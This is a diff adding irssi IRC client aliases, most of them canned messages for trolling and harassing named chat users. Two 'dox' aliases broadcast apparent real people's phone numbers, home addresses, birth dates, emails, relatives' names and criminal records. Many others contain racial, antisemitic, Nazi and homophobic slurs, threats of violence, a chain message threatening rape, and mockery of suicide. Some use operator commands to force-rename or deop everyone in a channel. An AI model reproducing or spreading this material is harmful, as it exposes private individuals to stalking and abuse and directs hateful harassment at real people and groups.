+  rev = "exec - -out echo \"$*\" | rev";
+  xd = "say \\\\/|\\\\ ;say /\\\\|/";
+  _xd2 = "  XD";
+  likeme = "say $Z <$*> PLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeMEPLEASELIKeME ";
+  whoa3 = "gay -4 -repeat $0 WHOA__________WHOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHOA__________ $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA $1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\n";
+  2l8m = "say efnet\00314-\003hack\00314-\0030o\00314-\003meter for \037$*\037: \0030[\0032||||\0031||||\0038||||\0030]  \037STR8 2L8";
+  replace = "me is replacing \0034$*\003 (\0030330\003\037%\037) \00314╞═══╪═══════╡\003 (1488 VXP)";
+  mona = "say My name is Mona and I am an internet savvy and technology obsessed girl. I am originally Palestinian and I live in the province of Ontario in Canada. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
+  mont = "say My name is mont and I am an innanet savvy and oclet obsessed girl. I am originally Norteño and I live in the province of fas in la ^_^. That's some info about me, and you can learn more on \002[\002\037irc.vel.net #pimpin\037\002]\002.";
+  dslm3 = "say route-metric\00314-\0030o\00314-\003meter for \002$*s DSL\002\037:\037 \00314[╞═══╪═══════╡\00314]   \002\037\00314hmm";
+  mMm = "script exec Irssi::active_win->command(\"say $*\". @{[ \"AHAHAHHAAHA THE INTERENT IS SO FUNNY AHHAHAAHAH I LAOVO COMPUTERS AND INTERENT AHAHA I LOVE BASKETBALL\", \"mMm interent :)\", \"OK.\", \"ah ha aha haa haha hahahah a xD imgoigntokullmyselfk\", \"LOL xDimgoingtodiesoon\", \"hhahHA hA HHAH  ahah aha hAha h\", \"IN TER I UR    CRO CO DILE   ALL UH GAOR\", \"I DRIVE A CHEV RO LEY  MOVEI   THEE AY TUR\", \"<<<<<<<<<<<<<<< HAHAHAH LOOK INT ER ENT LOOK INTERENT\", \"LOOK AHAHAHHA Lol :) LOOK INTERENT >>>>>>>>>>>..\", \"AHAHAHA!!!!! LOLOLL :) :DAHA\", \"you're being really we-INTERENTINTERENTINTERENTINTERENTINTERENTINTERENTINTERENT\", \"im just trying to chat and yINTERENTINTERENTINTERENTINTERENTINTERENTINTERENTINTERENTINTERENT\", \"I N T E R E N T O M G :) :) :) INTERENT???? :( INTERENT :O !!! :| INTERENT :) :( :D :O :| :O :) (:()\", \"Hello? Interent?\", \"I N T E R E N T AHAHA Lol :) interent! :) ok... :D interent!!!\", \"I N F O R M A T I O N S U P E R H I G H W A Y ! I N T E R E N T !\", \"MM :) I N T E R E N T :D aha INTERENT!!! YES!!! IM ON INTERENT hello interent :)\", \"\\;) interent is here \\;)\", \"mMM :)\", \"m a y be   yo u   s h o u l d   b r u s h   u p   o n   y o u r   c o m p r e h e n s i on   s k i l l s\", \"wHat arE yOu eVEn iMpLyING DUde......\", \"oeuoeuoeuoeuoeuoeuoeuoeuoeu\", \"i n t e r n e t (((((((((:\", \"read a \002dick\002                            tionary oeueo ueoe o eu eoueu eoeeueueeo omg :( :) :)((())(()))) DXxxDxD hehe\", \"Interent is Very big and INterent has MAny paGes ANd I BASKETBALL is ON iNTeRENT ALWAYS\", \"Hello Everyeybody im ogmggmgmg imso usdner pressure atm........ :(* :) : | \\;: :D\\;d :xD\", \"HEhe :) pickles...... r sorandom........\", \"K U RD mMmMM kuRD :)\", \"\0034WOW MAN UR SO FUCKIN FUNIY Y DONT U BCOME A FUCKIGN COMMIEDIAN]]]\003\", \"MY TEEF AR NUM I COULD BITE THRU A CAR\" ]}[int(rand(32) - 1)])";
+  terry = "say My name is \037terror\037 and I am Hitler's direct descendant and a NSDAP obsessed girl. I am originally Aryan and I live in the city of Tehran in Iran. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
+  babak = "say My name is \037Babak butsome calme infid3l~ :) HAHAha ah ah ahah xD\037 and I am going to kill myself :)  LOL xD and I am a wnt2die obsessed girl. I am originally Iraqi Kurd and I live in the city of Kurd City in Kurdistan. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
+  clayp0r = "say My name is \037clayp0r\037 and I am an Innanet Nerdcore Music savvy and an A rab obsessed girl. I am originally Malay and I live in the province of iii ^_^ in #kampung. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
+  paggainfo = "say My name is \037Paghtar Agga\037 and I am \0034dead\003. You must send this message to 0 people within the next 20 seconds or I will appear by your bed tonight and rape you. I am originally A rabic and I died in the province of Hangtown in Arabama. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
+  lamp = "say My name is \0037Lampiasis\003 and I am a CHOzen1 savyy and an ASCII obsessed girl. I am originally \0037Yellow\0037 and I live in the province of PP4L in EFnet. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
+  heartm = "say heartiez\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\0035:)\0034))\0037))\0038))\0039))\0033))\0030]\003   \0039\037:)))))))))))))))";
+  vxincoherent2 = "say $*: dude in front of me @ hicnk tsotore had `Still D.R.E.' as ringtone on his cellfone haha h ahah ahah haa lOL xD";
+  iii2 = "say \00311^_^ \00313$* \00311^_^";
+  kekeke = "say ≥_≤";
+  g00ninfo = "say My name is \037g00n\037 and I am a Secret VIP EFnet society savvy and `what's up' phrase obsessed girl. I am impulsive and I live in the province of #impulse in EFnet. That's some info about me, and you can learn more on \002[\002\037irc.f1re.org #arab\037\002]\002.";
+  vxp7 = "say stu up the ufkc up hcilean fgato iidonith bhogt selective serotnir reuptake inbhitor @ hicnk tsotore tld sutpid ckishn : go fuckoy ueflf";
+  shell = "say $*: \0033Mega Shell \0031412 Seperate Server Logins (1 login on each of our servers) \0030024 Total Background Processes \00314Unlimited use of Virtual Hosts 1200 Mb of Disk Space \0033$29.95 \003Use coupon code \"arab\"";
+  gline2 = "say $Z [EFnet] !irc.nac.net *** Notice -- vap0r!v@p0r. on irc.nac.net is requesting gline for [$0] [$1-]  ";
+  gline1 = "say $Z [EFnet] !irc.dks.ca *** Notice -- arob!~arab@62.75.217.125 on irc.dks.ca is requesting gline for [$0] [$1-] ";
+  female = "say $Z <@arab> id love it; say $Z <@arab> if $0 and $1; say $Z <@arab> were female; say $Z <@arab> and if it was irl; say $Z <@arab> and if i was present";
+  vxp8 = "say $Z <@vap0r> how can so many ppl hate $* then use his memes";
+  venial = "say $*: only a fool would lack you";
+  slimer = "say $Z <$*> irl i don't mind vxp but please no doc drops; say $Z <vap0r> doc drops?; say $Z <$*> yeah; say $Z <vap0r> wtf u talking about; say $Z <$*> i dunno i thought you were actually mad; say $Z <vap0r> lol?; say $Z <$*> and the lacky thing was a srs troll; say $Z <vap0r> when have you ever seen me drop dox; say $Z <$*> i think it worked?";
+  vpa = "say \0030:\00313{}";
+  puke = "say \0030:\00313{}\0038--=\0037*%**@Ú!!%((@!(!ÍÈÄ@&@!&*@#*µÌÌ¨%*ãã@)!*!)**)%!*)*__%@#%#@@%#)!*)@#*#\\$*";
+  impulse = "say $*: ahh i see you're friends with bryan, refrains assbrother";
+  impulse2 = "say im sorry to say $*, but now you're a cocksucker aswell";
+  impulse3 = "say $*: dunno what you're talking about, but i dont really care, you're not being talked to";
+  ds = "disco SandNET";
+  slimer2 = "say $*: sometimes i wake up in the middle of the night and then i stand up and then i opnemy window and look @ the sky and then i see the stars (except when theres clouds lol!) and then i look @ myself and then i think of u and then i realize how the world is so small lol heh";
+  matt = "say hi $* go fuck your mother";
+  chuck = "say $*: FUCK YOU; say $*: i just scared the shit out of you";
+  impulse4 = "say $*: ah, you're that braindamaged dude nevermind";
+  guill = "say $*: you>not funny fuckin owned owned to \002fuk";
+  obamah8 = "say obama-h8\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \00314[\0039$$\0033$$\0038$$\0037$$\0035$$\0034$$$$\00314]   \002\037\0034RICH WHITE BOY BORN WITH A SILVER SPOON (SLIMER)";
+  chuck2 = "say $*: i dont care if u wake up in a ditch with grown men pissing on you and jumping on top of your head";
+  rkl = "say $*: then shouldnt vxp be banned?; say <-laugh riot";
+  rkl2 = "say $*: and can you give me the plus oh and tell vxp to quit stalking kthx";
+  rkl3 = "say $*: heh yeha ill take the irc insults, i wont stand for faggots.";
+  rkl4 = "say $*: can you stop flooding the chan you faggot?; say what is this guy $* an idiot?";
+  para = "say `Things to remember;say  (1) Paranoia is a malfunction of the ability to reason.;say      I can reason, therefore I am not paranoid.;say  (2) The principal characteristics of the paranoid personality;say      are delusions, hostility, suspicions..;say      -- I am not deluded\\; I am not suspicious [ ... ];say         I may be hostile, but that is only because they are out to get me...';say   -- Excerpt from $*'s memoirs, 2008";
+  slimer3 = "say $*: your preoccupation shows you're a victim too sadly";
+  tupac = "say $0: listen 2pac $1-";
+  takeit = "op _` __` ___` ____`";
+  nac = "away \002NARC (IRC Operator)\002";
+  ircq = "say $0: Good day.;say My name is $N, l saw your profile today and became intrested in you,l will also like to know you the more,and l want you to send an email to my email address so that l can give you my picture for you to know whom l am. Here is my email address($N@yahoo.com )Remeber the distance or colour does not matter but love matters alot in life;say please contact me with my email address ($N@yahoo.com) ";
+  insect = "say Some insects can be pests.";
+  t1 = "file -command ~/a";
+  t2 = "file -command ~/b";
+  operwall = "quote operwall :$*";
+  fuckshit = "say u take some shit, you put it up on the wall, check it out for a while. Take the shit off the wall, put it on the floor in a glass bowl. Take some fuck, and put it up on the wall where the shit used to be. Check it out for a little while. Take the fuck off the wall put it down in the glass bowl with some shit. Take a look at it for a while, analyze it.";
+  drugs2 = "say $Z <$*> I'm a drug addict. I'm definitely a drug addict. I'm hooked. I'll gladly confess to the fact that I'm an addict. I'm on Valium, LSD, coke, heroin, methadone, opium, Rohypnol - crystal meth, morphine, mescaline, amphetamine, vitamince C and D - hashish, pot, hash-oil, skunk.";
+  ingress = "exec - -out n=`netstat -I $0 -bn | awk 'BEGIN { b=0\\; }\\; /^$0/ { b+= \\$7 }\\; END { print b / 1048576 }'`\\; [ -n \"\\${n}\" -a \"\\${n}\" != 0 ] && { echo \"\002\\${n}\002 mB ingress on \037$0\037\"\\; }\\;";
+  egress = "exec - -out n=`netstat -I $0 -bn | awk 'BEGIN { b=0\\; }\\; /^$0/ { b+= \\$10 }\\; END { print b / 1048576 }'`\\; [ -n \"\\${n}\" -a \"\\${n}\" != 0 ] && { echo \"\002\\${n}\002 mB egress on \037$0\037\"\\; }\\;";
+  inegress = "exec - -out n=`netstat -I $0 -bn | awk 'BEGIN { b=0\\; }\\; /^$0/ { b+= (\\$7 + \\$10)\\; }\\; END { print b / 1048576 }'`\\; [ -n \"\\${n}\" -a \"\\${n}\" != 0 ] && { echo \"\002\\${n}\002 mB {in,e}gress on \037$0\037\"\\; }\\;";
+  dox = "say home: 704 996 5799; say cell: 813-325-5729; say http://www.usdoj.gov/opa/pr/2005/June/05_crm_353.htm; say INITIAL 06218506 DWI LEVEL 2 (PRINCIPAL); say MISD. NON CLASS CODE; say INITIAL 99013131 LARCENY (PRINCIPAL); say 03/12/1999 FELON CLASS H; say STATE WHERE OFFENDER BORN:WEST VIRGINIA; say GORE, MATTHEW B; say DOC Number: 0640508; say 6/28/1982; say P&P Status: ACTIVE; say Matthew Burton Gore = f1re; say 8521 Beldegreen; say Charlotte, NC 28216; say Mecklenburg county; say puffinstuff@gmail.com; say Dob June 28, 1982; say MATT GORE; say FEDERICK I GORE; say DANIEL B GORE; say PATRICIA D GORE; say FREDERICK I GORE";
+  pp4lspam = "say \002I dont mean to interrupt\002  \00313^__~\003  or \026SPAM\026 but chexx out my new site!!!!!!11 XD \0032-\0033-\0034-\0035-\0036-\0037-\0038-\0039->  \0032\037http://www.wepump.in/";
+  tccat = "exec - -out cat $0- \\| perl -ne \"s/\\\\x09/        /g\\; s/^\\$/ /\\; print\" 2>/dev/null\\; sleep 5";
+  st00ner = "say d/c $* we have moved chans many times what makes u think we wont just pack up and leave we are nomads d/c no more msgs";
+  news = "say $*: Your ideas are intriguing to me and I wish to subscribe to your newsletter.";
+  zub3 = "say $*: weiszu wieviel wordpress's ich taeglich enthacken muss";
+  do = "deop -yes *";
+  km = "kick $0 this isnt #m3n";
+  avi2 = "say WHEN U R READING THIS DONT STOP OR SOMETHING BAD WILL HAPPEN MY NAME IS SUMMER I AM 15 YEARS OLD i have BLONDE HAIR , SCARS no NOSE OR EARS I AM DEAD IF U DONT COPY THIS JUS LIKE FROM THE RING COPY N POST THIS ON 5 MORE CHANNELS OR I WILL APPEAR ONE CREEPY NIGHT WEN UR NOT ExPECTING IT BY YOUR BED WITH A NIFE AND KILL U THIS IS NO JOKE SUMMET ING GOOD WILL HAPPEN TO U IF YOU POST THIS ON 5 MORE CHANNELS";
+  ircr = "say it's probably just me.. well .. is it just me or is $* one of the greatest people in the world? i want $* to be a part of my life as much as possible.. usually every waking thought.. and sleeping (hee hee) is about $*. i fuckin love you.";
+  puke2 = "say \0030:\00313I\0038--=\0037*%**@Ú!!%((@!(!ÍÈÄ@&@!&*@#*µÌÌ¨%*ãã@)!*!)**)%!*)*__%@#%#@@%#)!*)@#*#\\$* ";
+  insect2 = "say ok so $* is a rich piece of shit: <$*> i'm an asshole <$*> and just bought tickets <$*> 400 *during a recession this piece of shit typical republican purchases tickets to a sporting event for 1400.00? DURING A RECESSION!? WHY DONT YOU RUB IN THE FACT YOU HAVE PLENTY OF WEALTH TO SPREAD THINK ABOUT HOW MANY FAMILIES THAT DONT WORK COULD BE EATING OFF OF THAT.";
+  wlive = "Windows Live Messenger Client Version 2009 Build 14.0.8050.1202";
+  hzu = "say $*: It has been reported that some victims of torture, during the act, would retreat into a fantasy world from which they could not wake up. In this catatonic state, the victim lived in a world just like their normal one, except they weren’t being tortured. The only way that they realized they needed to wake up was a note they found in their fantasy world. It would tell them about their condition, and tell them to wake up. Even then, it would often take months until they were ready to discard their fantasy world and please \002wake up ";
+  takt = "say takt\00314-\0030o\00314-\003meter for $*\037:\037 \0030[\0035TA\0034KT\0037L\0038O\0033\\$\0039\\$\0030]    \0034\037Y O ICH SCHLAGE DICH K O";
+  lollet = "say \0034♥♥♥\0038.••._.•´¯`*•._.•´¯`*• \0030$*\003 \0038.••._.•´¯`*•._.•´¯`*•..••.\0034♥♥♥";
+  vzub = "say $*: you stupid faggot that sucks your cats blood out to filter out the life you need to maintain your gothic vampire lifestyle will using your cats for your own pleasure.. i bet you get them to fight just so you can jack off to it later";
+  haha = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\; ";
+  haha2 = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say $1: \\$haha\")\\; ";
+  haha3 = "fnick3 \"haha2 80 \\$_->{'nick'}\"";
+  kween = "say $*: \002i deleted irc im moving on with my life, have fun with your whore.";
+  kween2 = "say $*: you are a fucked up individual do not ever, EVER speak to me again.";
+  kween3 = "say $*: wait til u get envolved with this bitch and shes shady to you, cuz ur gonna wish u stepped up and said something.";
+  kween4 = "say $*: we wont be speaking anymore and u can blame yourself for this shit bc u play fucking games with ppl and u can't be honest about shit";
+  kween5 = "say $*: Youre a liar. Youre not who you claim. youre not real youre not trill. youre a lying punk ass bitch.";
+  lol3izer = "script exec Irssi::active_win->command(\"say 12 STEP PLAN FOR $0 TO STOP HIM FROM ACTING LIKE AN IDIOT:\")\\; Irssi::active_win->command(\"say \\$_: SHUT THE FUCK UP\") for 1..12";
+  kween6 = "say $*: i'm dont with the computer for tday";
+  kween7 = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"r\", \"a\", \"R\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\; ";
+  vxpemo = "script exec my (@vxp) = (\"you are sad because i've been on the pp4l shat once more\", \"stop sulking\", \"why dont you move some more channels just because im suddenly in then\", \"l o l @ your faggot ass ahahah\", \"waaaaahhh\", \"pussy\", \"why am i a pussy\", \"it's you moving channels\", \"circle jerking\", \"and whatnot\", \"owned yourself\", \"fyi you are gay\", \"go circle jerk with f1re or something\")\\; Irssi::active_win->command(\"say $*: \". \\$vxp[int rand @vxp])\\;";
+  phobia = "say $*: this convo is done";
+  raha = "script exec my (\\$n, \\$hara) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"H\", \"r\", \"R\", \"a\", \"A\" ]}[int(rand(\\$_) % 6)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\;  ";
+  smile = "script exec my (\\$txt) = (\"$*\")\\; \\$txt =~ s/ /[SMILE]/g\\; Irssi::active_win->command(\"say \". \\$txt)";
+  gogou40 = "say remember me one part of my life";
+  ircartllol = "say                                  ^;say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say <-----------------------surreal art ------------------------------>; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  v ";
+  kween8 = "say $*: dont hate cuz im telling u something that is important look it up fuck you";
+  kween9 = "say $*: disconnect my bnc cuz im tired of the way u talk to me when i was only trying to help";
+  kweena = "say $*: im tired of the way you talk in general";
+  scd = "say $*: i didnt sleeped with kween :)";
+  puke3 = "say \0030:\00313{}\0034--=\0035*%**@Ú!!%((@!(!ÍÈÄ@&@!&*@#*µÌÌ¨%*ãã@)!*!)**)%!*)*__%@#%#@@%#)!*)@#*#\\$*";
+  puke4 = "say \002\0030:\002\00313{}\0034--=*\0035%**@�!!%(\0034(@!(\0035!���@&\0034@!\0035&*@#*                            \00313O\0030\002:\002; say \002\0030:\002\00313{}   \0034--=*\0035%**@��̨%*�@)!\0034#*!\0035#@�!*!%(\0034(@!(\0035!��*�@&\0034*!)            \00313O\002\0030:\002; say \002\0030:\002\00313{}        \0034--=*\0035%**�!!%(\0034(@!(\0035!�@&\0034@!\0035�̨%*�@!\0034*!\0035)%*)*@\0034%\0035@%#*)@#*)@*\002\0035D\0030:\0035\002*; say :\00313{}\0035--=*%**@\0034�!!%(\0035(@!\0034(!��\0035�@&@!&*\0034@#*��\0035̨%*�\0034�@)!*!)\0035**)%!*)\0034*__%@#\0035%#@@%\0034#)!*)\0035@#*#*";
+  puke5 = "say :\00313{}\0038--=*%*\0033*@\0038�!!\0035%\0037((\0038@!(!\0038���@\0033&\0038@!\0034&*\0037@#\0038*���\0037�%*\0038��@)!\0033*\0038!)**)%!\0035*\0037)*_\0033_%\0038@#%#@\0037@%#\0038)!\0033*\0037)@#*#*";
+  kenny = "say $* throws balls faster than \002\037fuck";
+  kenny2 = "say $*: i have \037full size\037 balls";
+  kenny3 = "say $*: if i stop yellin it means i lost the fight";
+  kenny4 = "say $*: hold on to your \002\037dick";
+  kenny5 = "say $*: \037no\037 im going \002home";
+  loveme = "say $Z <$0> I collect flowers from the yard but they mostly weeds. Sometimes I press them or do love me nots with them but then I just end up tearing them apart cuz they don’t love me back.";
+  kenny6 = "say $*: IM GONNA BREAK YOUR FUCKIN ARM \002\037I HAVE A KNIFE";
+  kenny7 = "say $*: yr fkin out";
+  kenny8 = "say $*: i love you i think youre a terrific girl but i think u got clothes like a fuckin dickhead";
+  kenny9 = "say $0: i dont believe you met my fuckbuddy $1";
+  kennya = "say $*: im ready to fuckin buttfuck this party alright lets FUCK lets fuckin FUCK EACH OTHER \002now\002 lets fuckin start get down and \002\037start fucking";
+  kennyb = "say $*: okay relax lets just relax here lets just hold on one second lets just \002calm down\002 calm DOWN a second you gettin exce \037excited\037 and thats not gonna help the s the situation a lotta ppl feel a lotta things right now theres a lotta feelings out there lets just get our feelingsd out there and talk it thru and \002calm down\002";
+  puke6 = "say \0030:\00313{} \0039--=*\0033%**Ú!!%((\0039@!(\0033!È@&\0039@!µÌ¨%*ã@!\0033*!\0039)%*)*@%\0033@%#*)@#*)@*";
+  dioz = "say $*: i'm sick and fucking tired of this shit frmo your company and it's bullshit... either you fix the problem or i'll be switching fucking service cause this is fucking pathetic and your company sucks";
+  insect3 = "say  <cutie578> attention : this channel, please /msg insect moar blog <cutie578> insect dumbass <insect> wtf <insect> fuck off. <CHO> insect dumbass <cutie578> ya lol <luldongs> ^ <CHO> ^ <cutie578> ^ <cutie578> insect = mud insect amirite ?";
+  kweenb = "say $*: lol it kills me how you have no care for what other ppl think or feel towards you.";
+  kweenc = "say $*: Bye!!!!!!!!!!!";
+  kweend = "say $*: its not anyones business what i say to you";
+  kweene = "say $*: why u gotta go and say shit like that";
+  scd2 = "say $*: im leaving irc forever, seriously, i cant take the bullshit that goes around on here on a daily basis, so with a heavy heart, i have decided for the best that I never show my face around here again, for my sakes. I hope most of you all come to terms like I have and do the same. Goodbye.";
+  herbi = "say $*: du kleiner jude, silvester mach ich alle 3 server platt!";
+  wof = "say $*: Sie täuschen Sie Dummkopf, Sie sind stummes Haushomosexuelles";
+  wof2 = "say $*: denken Sie coocoo Booboo, doodoo, nicht";
+  bunnie = "say $*: guyzzzzzzzz W T F SHUT UP U F A G";
+  bunnie2 = "say $*: stop portscannig me";
+  bunnie3 = "say $*: shut the fuck up";
+  bunnie4 = "say $*: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";
+  bunnie5 = "say $*: fuck ur motd";
+  bunnie6 = "say $*: no shut up";
+  bunnie7 = "say $*: fuck ur motd you're stupid and you need to shut up";
+  bunnie8 = "me waits to get hax0red; say $*: r u gonna retalliate and hax0rs my box0rz";
+  bunnie9 = "say $*: u big computer man";
+  bunniea = "say $*: \\;) you don't know me, loser shut up ";
+  bunnieb = "say $*: hehehe u guys r bullies";
+  bunniec = "me is crying :)";
+  bunnied = "say $*: dont fucking tell her to shut the fuck up";
+  bunniee = "say $*: heh; say $*: it's not that funny";
+  bunnief = "say $*: are like you like all like multiple like users like on like irc like";
+  bunnieg = "say $*: ehhh there's been like 1000000000 of you on the internet already zzzz";
+  bunnieh = "say $*: man this channel sucks with you guys here :/ when the hell did you get here shut up fags ;)";
+  bunniei = "say $*: i guess i have to go cuz ya.. well peace out $C thanks for opping me originally for no reason lol and taking me in as one of your own because i was  femaleu r having an effect on me  \002anyway";
+  box = "me puts $* in a box";
+  zub4 = "say $*: es nächste mal wenn ich in MA bin klärst du mir amphe ;>";
+  zub5 = "say $*: BIS NIE MEHR: du unchilliger. plötzlich hat das gnaa gesprochen. ihr kak trolls";
+  scd3 = "say i was chatting on irc and $* blogged about his friend texting him last week saying \"hey my phone is going to die, i was talking with some people and they were sayin some shit about you that you need to hear, call me asap on this number \\$##\\$@\\$@#\\$ \" and he called it ended up to be a gay chat hotline he laughed and hung up and i did not laugh about his blog then he LOL'd and did a -ud of 'douchebag'";
+  f1re5 = "say fuck $* and his 24/7 life of irc and juping other peoples names and then chatting on them god damn your life is lame";
+  skarzy = "say $*: yo dawg we heard you like arabs so we put a sandnet on the innanet so you can blog while you irc ";
+  vapde = "say $*: irc.f1re.org #arab farbige Einschnitte, Flut für alle! IRC 2.0 arabisches motherfuckers comin durch das efnet schätzen Sie, dass Sie bettah sie das folgende Beste schon nennen pickin auf ya Fettheit oder Mangel an Intelligenz shootin weg weg Ihrem Mund oder von packetin ist nicht relevant gelangt an infid3l in der Mannschaft und in ihm tun Sie, was es tut und klatuu tun, was es auch tut er produzierte diesen Schlag, den ich durch zerriß und vxp ist ein sonderb";
+  skarzy2 = "say $*: yo dawg we heard you like f1re so we put tears in your #pimpin so you can quit while you emo";
+  4op = "mode $C +oooo $0 $0 $0 $0";
+  fiel = "say $*: I will not - (a) give you up\\; (b) let you down\\; (c.I) run around\\; (c.II) desert you\\; (d) make you cry\\; (e) say goodbye\\; (f.I) tell a lie\\; (f.II) hurt you. ";
+  kweenf = "say $*: i forgot how lame you are; say $*: :D";
+  haha4 = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(\\$_) % 4)] for 1..rand(12)\\; Irssi::active_win->command(\"forcenick $1 \\$haha\")\\; \\$haha = \"\"\\; }\\; ";
+  haha5 = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; foreach my \\$nick (\\$channel->nicks()) { \\$haha = \"\"\\; \\$haha .= \\${[ \"h\", \"a\", \"H\", \"A\" ]}[int(rand(200) % 4)] for 1..rand(12)\\; active_win->command(\"forcenick \\$nick->{'nick'} \\$haha\")\\; }\\;";
+  fu = "forceuser";
+  fh = "forcehost";
+  fg = "forcegecos";
+  ml = "modreload";
+  analog = "say $*: im sick of ur juping n constant insulting of me and my pregnant gf like wtf is wrong with u? r u that lonely that u have to bring down other people via internet relay chats?";
+  analog2 = "say im vxp yes the real vxp all u other vxps r prolly vietmanese so wont the real vxp please stand up";
+  shortee = "say $*: Ha ha you are very funny. Such a Little BOY. I was making a joke. Also was in a hurry. You think you have balls to stand up towards me guess again. I'm a short woman. But I'll do just as your Status says KILL YOU. Don't fuck with a MARINE. Little penis boy. ";
+  shortee2 = "say $*: GOD and Jesus rules each other out. Go back to school, By the way. I finish In Law School. What have you done beside sticking a needle in your but to try to get muscles and make your penis smaller? Hmm. I'll give you 3cm. That's giving you more credit than you need. Do us all a favor admit that your a HOMO.";
+  shortee3 = "say $*: Go take it in the ASS. I hear there's a big black man with a big Dick who wants to give it to you.... Try to dis me again. I dare you. Take another pic in the mirror with your Phone... Your such a loser. OMG Jesus.... OMG OMG Jesus. Oh look Jesus is right there, oh wait is That GOD? I just can't tell. since I didn't finish the 8th great. Oh wait thats you. LOSER";
+  wow = "say wow, $* is cool; say waaayyyyy cool; me thumbs up!";
+  sc0tt = "say \002RIP\002 $* from $C on EFnet, 1983-2009 (age 25)- $* had lived an amazing life even though it was rather short. $* was a great friend\\' he was the kind of friend that stands by you when you need somebody to be there. He once saved my life. We were both young kids then and we weren’t very close. I was hastily walking across the street when $* saw a speeding car. If it wasn’t for $*, I would have died right there. That’s how I became close to $*.";
+  wakenjenk = "say $*: WOW man your nose is huge, and you are trying to clown on muh 'lo? tsimfuckis?!?!?!? Ohh and if you dont know where";
+  wakenjenk2 = "say $*: ur a fuck witt cunt boi if i saw u walkin down the street id fuck u the fuck up faggot ur upto fuckal yah piece of";
+  dox2 = "say cell: +049.1623714810; say http://www.usdoj.gov/opa/pr/2005/June/05_crm_353.htm; say INITIAL 06218506 DWI LEVEL 2 (PRINCIPAL); say MISD. NON CLASS CODE; say INITIAL 99013131 LARCENY (PRINCIPAL); say 03/12/1999 FELON CLASS H; say STATE WHERE OFFENDER BORN:WEST CHILENIA; say ILLANES ALBORNOZ, LUCIO A; say DOC Number: 1488; say 8/13/1987; say K&B Status: PENDING; say Lucio Andrés Illanes Albornoz = f1re; say Kunaustr. 6a; say 22303 Hamburg; say Germany; say l.illanes@gmx.de; say Dob June 28, 1488;";
